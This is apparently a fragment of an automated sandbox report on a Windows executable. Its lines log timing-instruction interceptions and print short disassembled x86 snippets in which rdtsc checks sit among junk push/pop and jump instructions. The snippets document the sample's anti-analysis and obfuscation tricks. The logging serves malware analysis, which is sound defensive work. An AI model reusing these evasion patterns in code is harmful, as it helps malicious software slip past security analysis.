Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E3BA7A second address: E3BA80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E3BA80 second address: E3BA84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E3BA84 second address: E3BA90 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ECD046 second address: ECD082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F09FCF89C23h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 jmp 00007F09FCF89C27h 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ECD082 second address: ECD08D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F09FCB08886h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ECD1DD second address: ECD1E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ECD1E5 second address: ECD1F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 jo 00007F09FCB0888Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ECD34F second address: ECD365 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ECD365 second address: ECD36F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F09FCB08886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ECD36F second address: ECD3A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C22h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c je 00007F09FCF89C16h 0x00000012 jmp 00007F09FCF89C23h 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ECD3A8 second address: ECD3C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F09FCB08886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F09FCB0888Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED3F0A second address: ED3F31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F09FCF89C23h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED3F31 second address: ED3F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED3F35 second address: ED3F39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED3F39 second address: ED3F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED3F41 second address: ED3F48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED29C0 second address: ED29FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB08898h 0x00000007 jng 00007F09FCB08886h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F09FCB08898h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED29FA second address: ED2A32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C20h 0x00000007 push ebx 0x00000008 jmp 00007F09FCF89C1Dh 0x0000000d jmp 00007F09FCF89C20h 0x00000012 pop ebx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED2E0B second address: ED2E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED2E11 second address: ED2E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F09FCF89C16h 0x0000000a popad 0x0000000b pushad 0x0000000c jo 00007F09FCF89C16h 0x00000012 pushad 0x00000013 popad 0x00000014 jg 00007F09FCF89C16h 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 push edi 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED2E35 second address: ED2E39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED2E39 second address: ED2E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED2E3F second address: ED2E57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F09FCB0888Fh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED3235 second address: ED3249 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F09FCF89C1Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F09FCF89C16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED3249 second address: ED324F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED7DAD second address: ED7DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED7DB1 second address: ED7DC4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007F09FCB0888Eh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: ED7816 second address: ED781B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EDAD9B second address: EDADA0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EDADA0 second address: EDADA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EDADA6 second address: EDADAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EDADAE second address: EDADC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09FCF89C1Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EDA5C7 second address: EDA5E9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F09FCB0888Ah 0x0000000b push edi 0x0000000c jmp 00007F09FCB0888Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE1999 second address: EE199F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE1C0A second address: EE1C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F09FCB08886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE32BA second address: EE32DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jo 00007F09FCF89C16h 0x0000000f jmp 00007F09FCF89C1Bh 0x00000014 popad 0x00000015 pushad 0x00000016 jne 00007F09FCF89C16h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE32DE second address: EE32E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE35AD second address: EE35B2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE768B second address: EE7693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE6FB5 second address: EE6FE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Bh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jc 00007F09FCF89C42h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F09FCF89C1Ch 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE7281 second address: EE7290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09FCB0888Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE7290 second address: EE72BF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F09FCF89C16h 0x00000008 jmp 00007F09FCF89C1Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F09FCF89C22h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE72BF second address: EE72D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09FCB0888Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE72D0 second address: EE72FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C29h 0x00000007 jc 00007F09FCF89C16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 jne 00007F09FCF89C16h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE72FD second address: EE7301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE7301 second address: EE730F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE730F second address: EE731B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F09FCB08886h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE731B second address: EE7320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE7320 second address: EE7336 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push esi 0x00000006 pop esi 0x00000007 jmp 00007F09FCB0888Bh 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EE7336 second address: EE733C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF2AD9 second address: EF2ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF2ADD second address: EF2AF5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F09FCF89C16h 0x00000012 jc 00007F09FCF89C16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF2AF5 second address: EF2AFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF2AFF second address: EF2B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F09FCF89C16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF2B09 second address: EF2B11 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF2E09 second address: EF2E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF2E0E second address: EF2E1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB0888Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF2E1E second address: EF2E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF353D second address: EF3542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF3C42 second address: EF3C74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Eh 0x00000007 push esi 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e jmp 00007F09FCF89C23h 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007F09FCF89C16h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF3C74 second address: EF3C78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF21B6 second address: EF21CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F09FCF89C1Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF21CC second address: EF21EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09FCB08890h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jng 00007F09FCB08886h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF21EA second address: EF21F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF21F3 second address: EF21F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF21F7 second address: EF2238 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C20h 0x00000007 jmp 00007F09FCF89C21h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F09FCF89C26h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF2238 second address: EF224C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09FCB0888Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF8F62 second address: EF8F66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EF8F66 second address: EF8F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F09FCB08897h 0x0000000b pushad 0x0000000c je 00007F09FCB08886h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: EFD94A second address: EFD94E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F0A3F8 second address: F0A3FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F0A3FD second address: F0A411 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F09FCF89C16h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F09DFB second address: F09E0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB0888Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F09E0E second address: F09E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F0ED96 second address: F0EDB0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnl 00007F09FCB08886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jnp 00007F09FCB08886h 0x00000015 push edi 0x00000016 pop edi 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F0EDB0 second address: F0EDC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F0EDC3 second address: F0EDC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F10CC2 second address: F10D02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F09FCF89C16h 0x00000009 jmp 00007F09FCF89C21h 0x0000000e jmp 00007F09FCF89C1Eh 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F09FCF89C23h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F153FF second address: F15403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F15403 second address: F15409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F21276 second address: F21285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jbe 00007F09FCB08886h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F21285 second address: F21289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F28725 second address: F28743 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F09FCB08894h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F270A5 second address: F270DF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F09FCF89C16h 0x00000008 jmp 00007F09FCF89C1Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jo 00007F09FCF89C1Eh 0x00000015 pushad 0x00000016 popad 0x00000017 jne 00007F09FCF89C16h 0x0000001d jnp 00007F09FCF89C23h 0x00000023 jmp 00007F09FCF89C1Bh 0x00000028 pushad 0x00000029 popad 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F2734D second address: F27368 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB08897h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F274EE second address: F274F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F274F2 second address: F27531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F09FCB0888Fh 0x0000000e pop edi 0x0000000f pushad 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 pushad 0x00000017 jng 00007F09FCB08886h 0x0000001d jmp 00007F09FCB08894h 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F27531 second address: F27537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F27537 second address: F2753F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F2783F second address: F27845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F27845 second address: F2784C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
